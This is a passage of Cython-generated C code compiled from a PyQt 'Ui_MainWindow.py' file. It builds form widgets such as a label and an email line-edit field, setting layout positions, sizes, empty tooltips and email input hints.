__Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_3); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_14, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_14, __pyx_t_4, __pyx_t_6}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_2 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_14); __Pyx_GIVEREF(__pyx_int_14); PyTuple_SET_ITEM(__pyx_t_2, 0+__pyx_t_8, __pyx_int_14); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 1+__pyx_t_8, __pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_2, 2+__pyx_t_8, __pyx_t_6); __pyx_t_4 = 0; __pyx_t_6 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 251, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":252 * self.horizontalLayout_3.addWidget(self.R_Urgence) * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_3.setObjectName("label_3") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) */ __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_6) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_7); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_7); __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_label_3, __pyx_t_3) < 0) __PYX_ERR(0, 252, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":253 * self.formLayout.setLayout(14, QtWidgets.QFormLayout.FieldRole, self.horizontalLayout_3) * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_3.setObjectName("label_3") # <<<<<<<<<<<<<< * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_3); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__149, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 253, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":254 * self.label_3 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_3.setObjectName("label_3") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) # <<<<<<<<<<<<<< * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_LabelRole); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_label_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_16, __pyx_t_2, __pyx_t_7}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[4] = {__pyx_t_6, __pyx_int_16, __pyx_t_2, __pyx_t_7}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } else #endif { __pyx_t_1 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_6) { __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; } __Pyx_INCREF(__pyx_int_16); __Pyx_GIVEREF(__pyx_int_16); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_8, __pyx_int_16); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_8, __pyx_t_2); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_1, 2+__pyx_t_8, __pyx_t_7); __pyx_t_2 = 0; __pyx_t_7 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 254, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":255 * self.label_3.setObjectName("label_3") * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) * self.R_EMail.setToolTip("") */ __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLineEdit); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_7 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_7)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_7); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_7) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_7); __pyx_t_7 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail, __pyx_t_3) < 0) __PYX_ERR(0, 255, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":256 * self.formLayout.setWidget(16, QtWidgets.QFormLayout.LabelRole, self.label_3) * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) # <<<<<<<<<<<<<< * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMinimumSize); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_tuple__150, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 256, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":257 * self.R_EMail = QtWidgets.QLineEdit(self.formLayoutWidget) * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) * self.R_EMail.setToolTip("") # <<<<<<<<<<<<<< * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setToolTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__151, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 257, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":258 * self.R_EMail.setMinimumSize(QtCore.QSize(420, 0)) * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") # <<<<<<<<<<<<<< * self.R_EMail.setAccessibleName("") * self.R_EMail.setAccessibleDescription("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setStatusTip); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__152, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 258, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":259 * self.R_EMail.setToolTip("") * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") # <<<<<<<<<<<<<< * self.R_EMail.setAccessibleDescription("") * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleName); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__153, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":260 * self.R_EMail.setStatusTip("") * self.R_EMail.setAccessibleName("") * self.R_EMail.setAccessibleDescription("") # <<<<<<<<<<<<<< * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) * self.R_EMail.setInputMask("") */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setAccessibleDescription); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_tuple__154, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":261 * self.R_EMail.setAccessibleName("") * self.R_EMail.setAccessibleDescription("") * self.R_EMail.setInputMethodHints(QtCore.Qt.ImhEmailCharactersOnly) # <<<<<<<<<<<<<< * self.R_EMail.setInputMask("") * self.R_EMail.setText("") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_EMail); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Qt); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_ImhEmailCharactersOnly); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_4 = 